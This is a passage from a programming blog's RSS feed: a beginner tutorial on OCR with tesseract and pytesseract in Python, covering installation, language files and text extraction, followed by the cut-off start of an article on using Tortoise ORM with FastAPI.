      <pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/</guid>
      
      <category>python</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Python is super versatile, it has a giant community with libraries that allow you to create neural networks from scracth, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;fine-tune a LLM&lt;/a&gt;&#xA; or use Optical Character Recognition (OCR). For the latter you just need to install tesseract and python bindings, known as pytesseract and you&amp;rsquo;ll be ready to convert an image to a string in a breeze.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pytesseract-tutorial-using-python&#34;&gt;Pytesseract tutorial using Python&lt;/h2&gt;&#xA;&lt;p&gt;To perform OCR with Python, and extract text from an image, we will need tesseract, which is the library that handles all the heavy lifting and image processing.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you install the newest tesseract-ocr, there is a huge difference between version 3 and versions after 4, as neural networks were implemented to improve character recognition. I am using version 5 alpha for this tutorial.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install tesseract-ocr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract -v&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract 5.0.0-alpha-20201224-3-ge1a3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Differences in OCR engine efficiency between tesseract 3 and tesseract 5 alpha.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/OCRTesseractVersion5vsVersion3-2.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/OCRTesseractVersion5vsVersion3-2.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Version 5 shows better performance&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Comparison between OCR performance of tesseract 3 and tesseract 5&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;installing-languages-in-tesseract&#34;&gt;Installing languages in tesseract&lt;/h3&gt;&#xA;&lt;p&gt;We can see which languages are installed with &lt;em&gt;&amp;ndash;list-langs&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract --list-langs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is obvious, but it is necessary to mention that the extent to which it recognizes the text will depend on whether we use it in the correct language. Let&amp;rsquo;s install the Spanish language.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install tesseract-ocr-spa&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract --list-langs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;List of available languages &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;eng&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;osd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;spa&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You will see that Spanish is now installed and we can use it to detect the text in our images by adding the &lt;em&gt;-l spa&lt;/em&gt; option to the end of our command&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;optical-character-recognition-with-tesseract&#34;&gt;Optical Character Recognition with Tesseract&lt;/h2&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s put it to the test to recognize text in images, straight from the terminal. I am going to use the following image:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/imagen_con_texto.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/imagen_con_texto.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Image with text to be processed&#34; width=&#34;386&#34; height=&#34;430&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;File: image_with_text.jpg&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract image_with_text.jpg -&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Warning: Invalid resolution &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; dpi. Using &lt;span style=&#34;color:#ff9f43&#34;&gt;70&lt;/span&gt; instead.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Estimating resolution as &lt;span style=&#34;color:#ff9f43&#34;&gt;139&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Do you have the &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt; to listen to me whine&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The &amp;ldquo;-&amp;rdquo; at the end of the command tells tesseract to send the results of the analysis to the standard output, so that we can view them in the terminal.&lt;/p&gt;&#xA;&lt;p&gt;It is possible to tell tesseract which OCR engine to use:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0: for the original tesseract&lt;/li&gt;&#xA;&lt;li&gt;1: for neural networks&lt;/li&gt;&#xA;&lt;li&gt;2: tesseract and neural networks&lt;/li&gt;&#xA;&lt;li&gt;3: Default, whichever is available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract image_with_text.jpg - --oem &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that &lt;strong&gt;not all language files work with the original tesseract&lt;/strong&gt; (0 and 3). Although generally the neural networks one is the one that gives the best result. You can find the models compatible with the original tesseract and neural networks in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/tesseract-ocr/tessdata&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;tesseract repository&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;You can install them manually by downloading them and moving them to the appropriate folder, in my case it is &lt;em&gt;/usr/local/share/tessdata/&lt;/em&gt;, but it may be different on your system.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget https://github.com/tesseract-ocr/tessdata/raw/main/eng.traineddata&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo mv eng.traineddata /usr/local/share/tessdata/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;optical-character-recognition-with-pytesseract&#34;&gt;Optical Character Recognition with Pytesseract&lt;/h2&gt;&#xA;&lt;h3 id=&#34;installing-pytesseract&#34;&gt;Installing pytesseract&lt;/h3&gt;&#xA;&lt;p&gt;After installation we add pytesseract (the python bindings) and pillow (for image management) to our virtual environment.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install pytesseract pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;read-strings-from-images-with-pytesseract&#34;&gt;Read strings from images with pytesseract&lt;/h3&gt;&#xA;&lt;p&gt;First let&amp;rsquo;s check the languages we have installed on our system. We can use Python for that and &lt;em&gt;get_languages&lt;/em&gt; method&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; PIL &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Image&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_languages())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# [&amp;#39;eng&amp;#39;, &amp;#39;osd&amp;#39;, &amp;#39;spa&amp;#39;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have the languages, we can read the text that&amp;rsquo;s in our images and process it as a string in our script.&lt;/p&gt;&#xA;&lt;p&gt;The code is quite short and self-explanatory. Basically we pass the image as an argument to pytesseract&amp;rsquo;s &lt;em&gt;image_to_string&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; PIL &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Image&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; pytesseract&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;img &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;open(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;image_with_text.jpg&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Open the image with pillow&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;img&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;load()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;text &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image_to_string(img, lang&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;eng&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Extract image&amp;#39;s text&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Do you have the time to listen to me whine...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;image_to_string&lt;/em&gt; method can receive as argument the language in which we want it to detect the text.&lt;/p&gt;&#xA;&lt;p&gt;Tesseract when with a method with which we can obtain much more information from the image, &lt;em&gt;image_to_data&lt;/em&gt;, available for versions higher than 3.05.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; pytesseract&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;image_to_data(img)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/dataTesseract.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/dataTesseract.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Return from image_to_data method in tesseract&#34; width=&#34;930&#34; height=&#34;280&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;If you want to learn more visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/tesseract-ocr/tesseract&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;complete tesseract documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;applications-of-optical-character-recognition&#34;&gt;Applications of Optical Character Recognition&lt;/h2&gt;&#xA;&lt;p&gt;OCR is quite useful for social networks, where you can scan the text that appears in the images to read its content and then process it or give it statistical treatment.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s another case, imagine a program that scans image boards or social networks, extracts a couple of images from the posted videos and links them to a tik tok account using the watermark that appears on each video.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-analysis-of-anti-bot-captchas-and-their-advantages-and-disadvantages/&#34;&gt;Anti-bot Captcha resolution&lt;/a&gt;&#xA; is also one of the most interesting uses of Optical Character Recognition, widely use to scrap big websites like Amazon, Meli or others.&lt;/p&gt;&#xA;&lt;p&gt;Or maybe a page that uploads images of your products with your prices written on each of them. With Optical Character Recognition it is possible to get all their prices, and upload them to your database, downloading and processing their images.&lt;/p&gt;&#xA;&lt;p&gt;Facebook must use some kind of similar technology to censor images that include offensive text, according to its policies, that are uploaded to its social network.&lt;/p&gt;&#xA;&lt;p&gt;You can create an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/&#34;&gt;MCP server&lt;/a&gt;&#xA; that reads documents.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/facebook-screenshot-ocr.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/minimal-pytesseract-tutorial-ocr-with-python/images/facebook-screenshot-ocr.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Facebook uses OCR to read the text on its images&#34; width=&#34;727&#34; height=&#34;542&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Facebook is capable of reading the text on its images&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Another of the most common applications is the transformation of a pdf book into images to text, ideal for transforming old book scans to epub or text files.&lt;/p&gt;&#xA;&lt;p&gt;As you can see it is quite useful, I think it is one of the IA applications that will not go away &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ai-is-overhyped-when-will-the-bubble-burst/&#34;&gt;when the AI overhype stops or the bubble explodes&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Python is super versatile, it has a giant community with libraries that allow you to create neural networks from scracth, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;fine-tune a LLM&lt;/a&gt;&#xA; or use Optical Character Recognition (OCR). For the latter you just need to install tesseract and python bindings, known as pytesseract and you&amp;rsquo;ll be ready to convert an image to a string in a breeze.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pytesseract-tutorial-using-python&#34;&gt;Pytesseract tutorial using Python&lt;/h2&gt;&#xA;&lt;p&gt;To perform OCR with Python, and extract text from an image, we will need tesseract, which is the library that handles all the heavy lifting and image processing.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Python tortoise ORM integration with FastAPI</title>
      <link>https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/</link>
      <pubDate>Tue, 21 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/fastapi/python-tortoise-orm-integration-with-fastapi/</guid>
      
      <category>fastapi</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;One of the things I like most about Django is its ORM; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;one of the reasons why this framework is so popular&lt;/a&gt;&#xA;. On the other hand FastAPI does not have an ORM and focuses solely on serving endpoints, showing agnostic on the basis of data. There are enough options ORM to python: django-alchemy, peewee, ponyORM, tortoise. The latter, besides being asynchronous, is inspired by the django ORM, so its syntax is quite similar, even many tortoise functions share name with its Django counterpart, so users who use the Django ORM will save a lot of time learning tortoise functions.&lt;/p&gt;&#xA;&lt;p&gt;For this tutorial I&amp;rsquo;m going to use fastAPI and tortoise-orm together so make sure you know at least the basics of the fastAPI framework and database basics.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tortoise-compatibility&#34;&gt;Tortoise compatibility&lt;/h2&gt;&#xA;&lt;p&gt;Tortoise is compatible with the following databases.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PostgreSQL &amp;gt;= 9.4 (using asyncpg)&lt;/li&gt;&#xA;&lt;li&gt;SQLite (using aiosqlite)&lt;/li&gt;&#xA;&lt;li&gt;MySQL/MariaDB (using aiomysql or asyncmy)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;But for this example I am going to use SQLite, because it does not need any kind of 